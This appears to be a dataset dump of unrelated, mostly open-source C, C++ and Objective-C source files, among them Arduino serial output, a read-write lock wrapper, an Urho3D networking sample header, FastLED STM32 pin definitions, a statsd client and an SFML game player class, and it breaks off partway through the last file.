text
stringlengths
4
6.14k
////////////////////////////////////////////////////////////////////////////// // Use cout through the serial interface. // // Copyright (C) 2015 Pasquale Cocchini <pasquale.cocchini@ieee.org> // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to // the following conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ////////////////////////////////////////////////////////////////////////////// #ifndef ostream_h #define ostream_h #include <stdio.h> #include <Arduino.h> struct ostream { ostream & operator << (char c) { Serial.print (c); return *this; } ostream & operator << (const char *s) { Serial.print (s); return *this; } ostream & operator << (int n) { Serial.print (n); return *this; } ostream & operator << (unsigned n) { Serial.print (n); return *this; } ostream & operator << (float n) { Serial.print (n); return *this; } } cout; #endif // ostream_h
#import <Cordova/CDV.h> @interface Scaffold : CDVPlugin - (void) customaction:(CDVInvokedUrlCommand*)command; @end
#import "MOBProjection.h" @interface MOBProjectionEPSG30730 : MOBProjection @end
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> /** * O(N^3) * * * [remove print] * * $ time ./random_serial * ./random_serial 1.36s user 0.00s system 99% cpu 1.362 total * */ int *random_serial_number(const int sequence_size); int main(int argc, char *argv[]) { int *serial_number = random_serial_number(8192); for (int i = 0; i < 8192; ++i) { if (i && i % 8 == 0) { printf("\n"); } // print number printf("%04d ", serial_number[i]); } // free memory free(serial_number); return 0; } int *random_serial_number(const int sequence_size) { int *serial = (int*)malloc(sizeof(int) * sequence_size); memset(serial, 0, sizeof(int) * sequence_size); srand((unsigned int)time(NULL)); for (int i = 0, val, re_rand; i < sequence_size; ++i) { // N do { // 0 - (~) re_rand = 0; // random number val = rand() % sequence_size + 1; // check exists for (int j = 0; j < i; ++j) { // N if (serial[j] == val) { re_rand = 1; break; } } } while (re_rand); serial[i] = val; } return serial; }
// bazowy u¿ywalny obiekt #pragma once //----------------------------------------------------------------------------- #include "BaseObject.h" //----------------------------------------------------------------------------- struct BaseUsable : public BaseObject { enum Flags { ALLOW_USE_ITEM = 1 << 0, SLOW_STAMINA_RESTORE = 1 << 1, CONTAINER = 1 << 2, IS_BENCH = 1 << 3, // hardcoded to use variant in city ALCHEMY = 1 << 4 }; string anim, name; float sound_timer; const Item* item; SoundPtr sound; /* For container: 0 - no limit 1 - 90* angle 2 - 45* angle For not container: 0 - use player rotation 1 - can be used from one of two sides (left/right) 2 - use object rotation 3 - can be used from one of two sides (front/back) 4 - use object rotation, can be used from 90* angle */ int limit_rot; int use_flags; ResourceState state; BaseUsable() : sound_timer(0), item(nullptr), sound(nullptr), limit_rot(0), use_flags(0), state(ResourceState::NotLoaded) { } BaseUsable& operator = (BaseObject& o); BaseUsable& operator = (BaseUsable& u); bool IsContainer() const { return IsSet(use_flags, CONTAINER); } static vector<BaseUsable*> usables; static BaseUsable* TryGet(int hash) { BaseObject* obj = BaseObject::TryGet(hash); if(obj && obj->IsUsable()) return static_cast<BaseUsable*>(obj); return nullptr; } static BaseUsable* TryGet(Cstring id) { return TryGet(Hash(id)); } static BaseUsable* Get(int hash) { BaseUsable* use = TryGet(hash); if(use) return use; throw Format("Missing usable hash %d.", hash); } static BaseUsable* Get(Cstring id) { BaseUsable* use = TryGet(id); if(use) return use; throw Format("Missing usable '%s'.", id); } };
// Copyright Hansol Park (anav96@naver.com, mooming.go@gmail.com). All rights reserved. #ifndef StdUtil #define StdUtil #define ONCE while(false) #include <cstddef> namespace HE { class True_t {}; class False_t {}; template <typename T> struct IsReferenceType { using Result = False_t; }; template <typename T> struct IsReferenceType<T&> { using Result = True_t; }; template <typename Type> inline Type GetAs(void *src) { return *reinterpret_cast<Type*>(src); } template <typename Type> inline void SetAs(void *dst, Type value) { Type* _dst = reinterpret_cast<Type*>(dst); *_dst = value; } template <typename Type> inline void CopyAs(void *dst, void *src) { Type* _src = reinterpret_cast<Type*>(src); Type* _dst = reinterpret_cast<Type*>(dst); *_dst = *_src; } inline size_t ToAddress(void* ptr) { return reinterpret_cast<size_t>(ptr); } template <typename T, size_t size> inline size_t CountOf(T(&)[size]) { return size; } } #endif /* StdUtil */
/* * controller.c * * Created on: Mar 10, 2015 * Author: Nexflame */ #include <malloc.h> #include <string.h> #include <stdlib.h> #include "controller.h" void controller_init(Controller* this, Repository* repo) { this->repo = repo; repository_init(this->repo, "file.txt"); } void controller_destroy(Controller* this) { repository_destroy(this->repo); } // Functionalities Vector* controller_ExecShowAllObjects(Controller* this) { if (!this) { printf("ERROR: Controller is NULL in controller_ExecShowAllObjects!"); return NULL; } if (!this->repo) { printf("ERROR: Repo is NULL in controller_ExecShowAllObjects!"); return NULL; } return this->repo->objects; } void controller_ExecAddObject(Controller* this, StoreObject* obj) { if (!this) { printf("ERROR: Controller is NULL in controller_ExecAddObject!"); return; } if (!this->repo) { printf("ERROR: Repo is NULL in controller_ExecAddObject!"); return; } repository_AddObject(this->repo, obj); repository_Save(this->repo); } void controller_ExecDeleteObject(Controller* this, int ID) { if (!this) { printf("ERROR: Controller is NULL in controller_ExecDeleteObject!"); return; } if (!this->repo) { printf("ERROR: Repo is NULL in controller_ExecDeleteObject!"); return; } repository_DeleteObjectByID(this->repo, ID); repository_Save(this->repo); } void controller_ExecUpdateObject(Controller* this, int ID, StoreObject* newObj) { repository_DeleteObjectByID(this->repo, ID); repository_AddObject(this->repo, newObj); repository_Save(this->repo); } Vector* controller_ExecFilterObjects(Controller* this, FilterType filter, char* min, char* max) { int i = 0; int len = repository_GetSize(this->repo); Vector* out = malloc(sizeof(Vector)); vector_init(out); for (i = 0; i < len; ++i) { StoreObject* currObj = (StoreObject*)(vector_getAt(this->repo->objects, i)); if (!currObj) continue; switch(filter) { case FILTER_BY_PRICE: if (atoi(min) <= storeObject_GetPrice(currObj) && storeObject_GetPrice(currObj) <= atoi(max)) vector_pushBack(out, currObj); break; case FILTER_BY_DATE: max = min; if (!strcmp(storeObject_GetDate(currObj), min)) vector_pushBack(out, currObj); break; case FILTER_BY_MANUFACTURER: max = min; if (!strcmp(product_GetManufacturer(storeObject_GetProduct(currObj)), min)) vector_pushBack(out, currObj); break; default: return out; } } return out; } /// PREDICATES FOR COMPARE int __CompareDateAsc(const void* a, const void* b) { StoreObject *pa = *(StoreObject**)a; StoreObject *pb = *(StoreObject**)b; // Cause we store date as DD.MM.YYYY we have to split this string and sort differently // HACK: // Compare Years: if same continue checking if (strcmp(storeObject_GetDate(pa) + 6, storeObject_GetDate(pb) + 6)) return strcmp(storeObject_GetDate(pa) + 6, storeObject_GetDate(pb) + 6); // Compare Months if (strcmp(storeObject_GetDate(pa) + 3, storeObject_GetDate(pb) + 3)) return strcmp(storeObject_GetDate(pa) + 3, storeObject_GetDate(pb) + 3); // Finally days return strcmp(storeObject_GetDate(pa), storeObject_GetDate(pb)); } int __CompareDateDsc(const void* a, const void* b) { StoreObject* pa = *(StoreObject**)a; StoreObject* pb = *(StoreObject**)b; // HACK: // Compare Years: if same continue checking if (strcmp(storeObject_GetDate(pa) + 6, storeObject_GetDate(pb) + 6)) return -strcmp(storeObject_GetDate(pa) + 6, storeObject_GetDate(pb) + 6); // Compare Months if (strcmp(storeObject_GetDate(pa) + 3, storeObject_GetDate(pb) + 3)) return -strcmp(storeObject_GetDate(pa) + 3, storeObject_GetDate(pb) + 3); // Finally days return -strcmp(storeObject_GetDate(pa), storeObject_GetDate(pb)); } int __ComparePriceAsc(const void* a, const void* b) { StoreObject* pa = *(StoreObject**)a; StoreObject* pb = *(StoreObject**)b; return storeObject_GetPrice(pa) - storeObject_GetPrice(pb); } int __ComparePriceDsc(const void* a, const void* b) { StoreObject* pa = *(StoreObject**)a; StoreObject* pb = *(StoreObject**)b; return storeObject_GetPrice(pb) - storeObject_GetPrice(pa); } Vector* controller_ExecSortObjects(Controller* this, SortType sort, int asc) { int i = 0; int len = repository_GetSize(this->repo); Vector* out = malloc(sizeof(Vector)); vector_init(out); // Copy vector for (i = 0; i < len; ++i) { StoreObject* currObj = (StoreObject*)(vector_getAt(this->repo->objects, i)); if (!currObj) continue; vector_pushBack(out, currObj); } int (*cmp)(const void* a, const void* b); switch(sort) { case SORT_BY_PRICE: if (asc) cmp = &__ComparePriceAsc; else cmp = &__ComparePriceDsc; break; case SORT_BY_DATE: if (asc) cmp = &__CompareDateAsc; else cmp = &__CompareDateDsc; break; default: cmp = &__ComparePriceAsc; } qsort(out->entities, vector_getLen(out), sizeof(StoreObject*), cmp); return out; }
// Copyright (c) 2015, myjfm(mwxjmmyjfm@gmail.com). All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // * Neither the name of myjfm nor the names of other contributors may be // used to endorse or promote products derived from this software without // specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT(INCLUDING NEGLIGENCE OR OTHERWISE) // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. // #ifndef CNETPP_CONCURRENCY_RWLOCK_H_ #define CNETPP_CONCURRENCY_RWLOCK_H_ #include <assert.h> #if _POSIX_VERSION >= 199506L && defined(_POSIX_THREADS) #include <pthread.h> // wrap up the pthread_rwlock_t #else #include <mutex> // use std::mutex to simulate the rwlock #endif namespace cnetpp { namespace concurrency { class RWLock final { public: class ReadScopeGuard final { public: explicit ReadScopeGuard(RWLock& lock) : lock_(lock) { lock_.RDLock(); } ~ReadScopeGuard() { lock_.RDUnlock(); } // disallow copy and move operations ReadScopeGuard(const ReadScopeGuard&) = delete; ReadScopeGuard& operator=(const ReadScopeGuard&) = delete; ReadScopeGuard(ReadScopeGuard&&) noexcept = delete; ReadScopeGuard& operator=(ReadScopeGuard&&) noexcept = delete; private: RWLock& lock_; }; class WriteScopeGuard final { public: explicit WriteScopeGuard(RWLock& lock) : lock_(lock) { lock_.WRLock(); } ~WriteScopeGuard() { lock_.WRUnlock(); } // disallow copy and move operations WriteScopeGuard(const WriteScopeGuard&) = delete; WriteScopeGuard& operator=(const WriteScopeGuard&) = delete; WriteScopeGuard(WriteScopeGuard&&) noexcept = delete; WriteScopeGuard& operator=(WriteScopeGuard&&) noexcept = delete; private: RWLock& lock_; }; RWLock(); ~RWLock(); // disallow copy and move operations RWLock(const RWLock&) = delete; RWLock& operator=(const RWLock&) = delete; RWLock(RWLock&&) noexcept = delete; RWLock& operator=(RWLock&&) noexcept = delete; void RDLock(); void RDUnlock(); void WRLock(); void WRUnlock(); private: #if _POSIX_VERSION >= 199506L && defined(_POSIX_THREADS) pthread_rwlock_t lock_; #else std::mutex mutex_; int reader_count_; std::mutex reader_count_mutex_; #endif }; } // namespace concurrency } // namespace cnetpp #endif // CNETPP_CONCURRENCY_RWLOCK_H_
// // Copyright (c) 2008-2022 the Urho3D project. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // #pragma once #include "Sample.h" namespace Urho3D { class Button; class LineEdit; class Text; class UIElement; } const int SERVER_PORT = 54654; /// Chat example /// This sample demonstrates: /// - Starting up a network server or connecting to it /// - Implementing simple chat functionality with network messages class NATPunchtrough : public Sample { URHO3D_OBJECT(NATPunchtrough, Sample); public: /// Construct. explicit NATPunchtrough(Context* context); /// Setup after engine initialization and before running the main loop. void Start() override; protected: /// Return XML patch instructions for screen joystick layout for a specific sample app, if any. String GetScreenJoystickPatchString() const override { return "<patch>" " <add sel=\"/element/element[./attribute[@name='Name' and @value='Button2']]\">" " <attribute name=\"Is Visible\" value=\"false\" />" " </add>" " <add sel=\"/element/element[./attribute[@name='Name' and @value='Hat0']]\">" " <attribute name=\"Is Visible\" value=\"false\" />" " </add>" "</patch>"; } private: /// Create the UI. void CreateUI(); /// Subscribe to log message, UI and network events. void SubscribeToEvents(); /// Create a button to the button container. Button* CreateButton(const String& text, int width, IntVector2 position); /// Create label void CreateLabel(const String& text, IntVector2 pos); /// Create input field LineEdit* CreateLineEdit(const String& placeholder, int width, IntVector2 pos); /// Print log message. void ShowLogMessage(const String& row); /// Save NAT server config void HandleSaveNatSettings(StringHash eventType, VariantMap& eventData); /// Handle server connection message void HandleServerConnected(StringHash eventType, VariantMap& eventData); /// Handle server disconnect message void HandleServerDisconnected(StringHash eventType, VariantMap& eventData); /// Handle failed connection void HandleConnectFailed(StringHash eventType, VariantMap& eventData); /// Start server void HandleStartServer(StringHash eventType, VariantMap& eventData); /// Attempt connecting using NAT punchtrough void HandleConnect(StringHash eventType, VariantMap& eventData); /// Handle NAT master server failed connection void HandleNatConnectionFailed(StringHash eventType, VariantMap& eventData); /// Handle NAT master server disconnected void HandleNatDisconnected(StringHash eventType, VariantMap& eventData); /// Handle NAT master server succesfull connection void HandleNatConnectionSucceeded(StringHash eventType, VariantMap& eventData); /// Handle NAT punchtrough success message void HandleNatPunchtroughSucceeded(StringHash eventType, VariantMap& eventData); /// Handle failed NAT punchtrough message void HandleNatPunchtroughFailed(StringHash eventType, VariantMap& eventData); /// Handle client connecting void HandleClientConnected(StringHash eventType, VariantMap& eventData); /// Handle client disconnecting void HandleClientDisconnected(StringHash eventType, VariantMap& eventData); /// NAT master server address SharedPtr<LineEdit> natServerAddress_; /// NAT master server port SharedPtr<LineEdit> natServerPort_; /// Save NAT settings button SharedPtr<Button> saveNatSettingsButton_; /// Start server button SharedPtr<Button> startServerButton_; /// Remote server GUID input field SharedPtr<LineEdit> serverGuid_; /// Connect button SharedPtr<Button> connectButton_; /// Log history text element SharedPtr<Text> logHistoryText_; /// Log messages Vector<String> logHistory_; /// Created server GUID field SharedPtr<LineEdit> guid_; };
// // Copyright 2011 Jeff Verkoeyen // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // #import <UIKit/UIKit.h> @class NICSSRuleset; @interface UISearchBar (NIStyleable) /** * Applies the given rule set to this search bar. * * This method is exposed primarily for subclasses to use when implementing the * applyStyleWithRuleSet: method from NIStyleable. */ - (void)applySearchBarStyleWithRuleSet:(NICSSRuleset *)ruleSet; @end
#ifndef __FASTPIN_ARM_STM32_H #define __FASTPIN_ARM_STM32_H FASTLED_NAMESPACE_BEGIN #if defined(FASTLED_FORCE_SOFTWARE_PINS) #warning "Software pin support forced, pin access will be sloightly slower." #define NO_HARDWARE_PIN_SUPPORT #undef HAS_HARDWARE_PIN_SUPPORT #else /// Template definition for STM32 style ARM pins, providing direct access to the various GPIO registers. Note that this /// uses the full port GPIO registers. In theory, in some way, bit-band register access -should- be faster, however I have found /// that something about the way gcc does register allocation results in the bit-band code being slower. It will need more fine tuning. /// The registers are data output, set output, clear output, toggle output, input, and direction template<uint8_t PIN, uint8_t _BIT, uint32_t _MASK, typename _GPIO> class _ARMPIN { public: typedef volatile uint32_t * port_ptr_t; typedef uint32_t port_t; #if 0 inline static void setOutput() { if(_BIT<8) { _CRL::r() = (_CRL::r() & (0xF << (_BIT*4)) | (0x1 << (_BIT*4)); } else { _CRH::r() = (_CRH::r() & (0xF << ((_BIT-8)*4))) | (0x1 << ((_BIT-8)*4)); } } inline static void setInput() { /* TODO */ } // TODO: preform MUX config { _PDDR::r() &= ~_MASK; } #endif inline static void setOutput() { pinMode(PIN, OUTPUT); } // TODO: perform MUX config { _PDDR::r() |= _MASK; } inline static void setInput() { pinMode(PIN, INPUT); } // TODO: preform MUX config { _PDDR::r() &= ~_MASK; } inline static void hi() __attribute__ ((always_inline)) { _GPIO::r()->BSRR = _MASK; } inline static void lo() __attribute__ ((always_inline)) { _GPIO::r()->BRR = _MASK; } // inline static void lo() __attribute__ ((always_inline)) { _GPIO::r()->BSRR = (_MASK<<16); } inline static void set(register port_t val) __attribute__ ((always_inline)) { _GPIO::r()->ODR = val; } inline static void strobe() __attribute__ ((always_inline)) { toggle(); toggle(); } inline static void toggle() __attribute__ ((always_inline)) { if(_GPIO::r()->ODR & _MASK) { lo(); } else { hi(); } } inline static void hi(register port_ptr_t port) __attribute__ ((always_inline)) { hi(); } inline static void lo(register port_ptr_t port) __attribute__ ((always_inline)) { lo(); } inline static void fastset(register port_ptr_t port, register port_t val) __attribute__ ((always_inline)) { *port = val; } inline static port_t hival() __attribute__ ((always_inline)) { return _GPIO::r()->ODR | _MASK; } inline static port_t loval() __attribute__ ((always_inline)) { return _GPIO::r()->ODR & ~_MASK; } inline static port_ptr_t port() __attribute__ ((always_inline)) { return &_GPIO::r()->ODR; } inline static port_ptr_t sport() __attribute__ ((always_inline)) { return &_GPIO::r()->BSRR; } inline static port_ptr_t cport() __attribute__ ((always_inline)) { return &_GPIO::r()->BRR; } inline static port_t mask() __attribute__ ((always_inline)) { return _MASK; } }; #if defined(STM32F10X_MD) #define _RD32(T) struct __gen_struct_ ## T { static __attribute__((always_inline)) inline volatile GPIO_TypeDef * r() { return T; } }; #define _IO32(L) _RD32(GPIO ## L) #elif defined(__STM32F1__) #define _RD32(T) struct __gen_struct_ ## T { static __attribute__((always_inline)) inline gpio_reg_map* r() { return T->regs; } }; #define _IO32(L) _RD32(GPIO ## L) #else #error "Platform not supported" #endif #define _R(T) struct __gen_struct_ ## T #define _DEFPIN_ARM(PIN, BIT, L) template<> class FastPin<PIN> : public _ARMPIN<PIN, BIT, 1 << BIT, _R(GPIO ## L)> {}; // Actual pin definitions #if defined(SPARK) // Sparkfun STM32F103 based board _IO32(A); _IO32(B); _IO32(C); _IO32(D); _IO32(E); _IO32(F); _IO32(G); #define MAX_PIN 19 _DEFPIN_ARM(0, 7, B); _DEFPIN_ARM(1, 6, B); _DEFPIN_ARM(2, 5, B); _DEFPIN_ARM(3, 4, B); _DEFPIN_ARM(4, 3, B); _DEFPIN_ARM(5, 15, A); _DEFPIN_ARM(6, 14, A); _DEFPIN_ARM(7, 13, A); _DEFPIN_ARM(8, 8, A); _DEFPIN_ARM(9, 9, A); _DEFPIN_ARM(10, 0, A); _DEFPIN_ARM(11, 1, A); _DEFPIN_ARM(12, 4, A); _DEFPIN_ARM(13, 5, A); _DEFPIN_ARM(14, 6, A); _DEFPIN_ARM(15, 7, A); _DEFPIN_ARM(16, 0, B); _DEFPIN_ARM(17, 1, B); _DEFPIN_ARM(18, 3, A); _DEFPIN_ARM(19, 2, A); #define SPI_DATA 15 #define SPI_CLOCK 13 #define HAS_HARDWARE_PIN_SUPPORT #endif // SPARK #if defined(__STM32F1__) // Generic STM32F103 aka "Blue Pill" _IO32(A); _IO32(B); _IO32(C); #define MAX_PIN 46 _DEFPIN_ARM(10, 0, A); // PA0 - PA7 _DEFPIN_ARM(11, 1, A); _DEFPIN_ARM(12, 2, A); _DEFPIN_ARM(13, 3, A); _DEFPIN_ARM(14, 4, A); _DEFPIN_ARM(15, 5, A); _DEFPIN_ARM(16, 6, A); _DEFPIN_ARM(17, 7, A); _DEFPIN_ARM(29, 8, A); // PA8 - PA15 _DEFPIN_ARM(30, 9, A); _DEFPIN_ARM(31, 10, A); _DEFPIN_ARM(32, 11, A); _DEFPIN_ARM(33, 12, A); _DEFPIN_ARM(34, 13, A); _DEFPIN_ARM(37, 14, A); _DEFPIN_ARM(38, 15, A); _DEFPIN_ARM(18, 0, B); // PB0 - PB11 _DEFPIN_ARM(19, 1, B); _DEFPIN_ARM(20, 2, B); _DEFPIN_ARM(39, 3, B); _DEFPIN_ARM(40, 4, B); _DEFPIN_ARM(41, 5, B); _DEFPIN_ARM(42, 6, B); _DEFPIN_ARM(43, 7, B); _DEFPIN_ARM(45, 8, B); _DEFPIN_ARM(46, 9, B); _DEFPIN_ARM(21, 10, B); _DEFPIN_ARM(22, 11, B); _DEFPIN_ARM(2, 13, C); // PC13 - PC15 _DEFPIN_ARM(3, 14, C); _DEFPIN_ARM(4, 15, C); #define SPI_DATA BOARD_SPI1_MOSI_PIN #define SPI_CLOCK BOARD_SPI1_SCK_PIN #define HAS_HARDWARE_PIN_SUPPORT #endif // __STM32F1__ #endif // FASTLED_FORCE_SOFTWARE_PINS FASTLED_NAMESPACE_END #endif // __INC_FASTPIN_ARM_STM32
#ifndef BITCOIN_STATSD_CLIENT_H #define BITCOIN_STATSD_CLIENT_H #include <string> #include <memory> static const bool DEFAULT_STATSD_ENABLE = false; static const int DEFAULT_STATSD_PORT = 8125; static const std::string DEFAULT_STATSD_HOST = "127.0.0.1"; static const std::string DEFAULT_STATSD_HOSTNAME = ""; static const std::string DEFAULT_STATSD_NAMESPACE = ""; // schedule periodic measurements, in seconds: default - 1 minute, min - 5 sec, max - 1h. static const int DEFAULT_STATSD_PERIOD = 60; static const int MIN_STATSD_PERIOD = 5; static const int MAX_STATSD_PERIOD = 60 * 60; namespace statsd { struct _StatsdClientData; class StatsdClient { public: StatsdClient(const std::string& host = DEFAULT_STATSD_HOST, int port = DEFAULT_STATSD_PORT, const std::string& ns = DEFAULT_STATSD_NAMESPACE); ~StatsdClient(); public: // you can config at anytime; client will use new address (useful for Singleton) void config(const std::string& host, int port, const std::string& ns = DEFAULT_STATSD_NAMESPACE); const char* errmsg(); public: int inc(const std::string& key, float sample_rate = 1.0); int dec(const std::string& key, float sample_rate = 1.0); int count(const std::string& key, size_t value, float sample_rate = 1.0); int gauge(const std::string& key, size_t value, float sample_rate = 1.0); int gaugeDouble(const std::string& key, double value, float sample_rate = 1.0); int timing(const std::string& key, size_t ms, float sample_rate = 1.0); public: /** * (Low Level Api) manually send a message * which might be composed of several lines. */ int send(const std::string& message); /* (Low Level Api) manually send a message * type = "c", "g" or "ms" */ int send(std::string key, size_t value, const std::string& type, float sample_rate); int sendDouble(std::string key, double value, const std::string& type, float sample_rate); protected: int init(); static void cleanup(std::string& key); protected: std::unique_ptr<struct _StatsdClientData> d; }; } // namespace statsd extern statsd::StatsdClient statsClient; #endif // BITCOIN_STATSD_CLIENT_H
#include <stdio.h> #include <stdlib.h> int main(void) { /* declare an int variable to hold characters */ int ch; /* open a file for output: */ FILE *fp = fopen("output.log", "w"); /* check that it opened: */ if (fp == NULL) { fprintf(stderr, "Error opening output file\n"); exit(EXIT_FAILURE); } /* give instructions to user */ puts("Enter your lines of text and they will be written\n" "into the output.txt file. When you are finished,\n" "generate an end-of-file condition. On Unix this is\n" "done by pressing Ctrl-D whereas on Windows/DOS it is\n" "done by pressing F6 or Ctrl-Z then Enter.\n"); /* read characters from stdin and put them into the file */ while ((ch = getchar()) != EOF) { if (putc(ch, fp) == EOF) { fprintf(stderr, "Error writing to output file\n"); exit(EXIT_FAILURE); } } /* close the file */ if (fclose(fp) == EOF) { fprintf(stderr, "Error closing output file\n"); exit(EXIT_FAILURE); } return 0; }
/* Copyright (C) 2011-2012 by Martin Linklater Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #ifndef FCPHYSICS3D_H #define FCPHYSICS3D_H #include "Shared/Core/FCCore.h" class FCPhysics3D : public FCBase { public: FCPhysics3D(){} virtual ~FCPhysics3D(){} void Update( float realTime, float gameTime ); }; typedef FCSharedPtr<FCPhysics3D> FCPhysics3DRef; #endif
// Copyright (c) 2012-2014 The Bitcoin developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #ifndef BITCOIN_VERSION_H #define BITCOIN_VERSION_H /** * network protocol versioning */ static const int PROTOCOL_VERSION = 75002; //! initial proto version, to be increased after version/verack negotiation static const int INIT_PROTO_VERSION = 209; //! In this version, 'getheaders' was introduced. static const int GETHEADERS_VERSION = 70002; //! disconnect from peers older than this proto version static const int MIN_PEER_PROTO_VERSION = GETHEADERS_VERSION; //! nTime field added to CAddress, starting with this version; //! if possible, avoid requesting addresses nodes older than this static const int CADDR_TIME_VERSION = 31402; //! only request blocks from nodes outside this range of versions static const int NOBLKS_VERSION_START = 32000; static const int NOBLKS_VERSION_END = 32400; //! BIP 0031, pong message, is enabled for all versions AFTER this one static const int BIP0031_VERSION = 60000; //! "mempool" command, enhanced "getdata" behavior starts with this version static const int MEMPOOL_GD_VERSION = 60002; #endif // BITCOIN_VERSION_H
/* * Generated by class-dump 3.3.4 (64 bit). * * class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2011 by Steve Nygard. */ #import "NSObject.h" // Not exported @interface PDIterate : NSObject { int mType; _Bool mIsBackwards; _Bool mIsPercentage; double mValue; } - (void)setValue:(double)arg1; - (double)value; - (void)setIsValuePercentage:(_Bool)arg1; - (_Bool)isValuePercentage; - (void)setIsBackwards:(_Bool)arg1; - (_Bool)isBackwards; - (void)setType:(int)arg1; - (int)type; @end
#pragma once #include "SFML\Audio.hpp" #include "MapEntity_Base.h" #include "MapEntity_Enemy.h" #include "MapEntity_Projectile_Base.h" #include "Animation.h" class MapEntity_Player : public MapEntity_Base { public: MapEntity_Player(); ~MapEntity_Player(); void handleEventInput(sf::Keyboard::Key key, bool isPressed) { if (key == sf::Keyboard::Space&&isPressed == true) { if (!isJumping&&isGrounded) { JumpSound.play(); isJumping = true; currentJumpingMovement = initialJumpImpulse; } } if (key == sf::Keyboard::T && isPressed == true) { if (isAttacking == false && isGrounded == true) { AttackSound.play(); isAttacking = true; animationAttacking.SetFlip(currentanimation->FlipFlag()); animationAttacking.Reset(); currentanimation = &animationAttacking; cwidth = currentanimation->CollisionX(); cheight = currentanimation->CollisionY(); } } if (key == sf::Keyboard::Y && isPressed == true) { if (fireBallShot < maxFireballs) { ExplosionSound.play(); if (currentanimation->FlipFlag()) { fireballs.push_back(new MapEntity_Projectile_Base("FireballTravel.png", "FireballHit.png", tilemap, getPosition().x, getPosition().y + 0.25*cheight, 5.0f, -1, 0.0f)); } else { fireballs.push_back(new MapEntity_Projectile_Base("FireballTravel.png", "FireballHit.png", tilemap, getPosition().x + 0.75f*cwidth, getPosition().y + 0.25*cheight, 5.0f, 1, 0.0f)); } fireBallShot++; } } }; void handleRealtimeInput() { if (sf::Keyboard::isKeyPressed(sf::Keyboard::A)&&!isAttacking) { velocity.x = -MovementSpeed; currentanimation = &animationWalking; cwidth = currentanimation->CollisionX(); cheight = currentanimation->CollisionY(); currentanimation->SetFlip(true); } else if 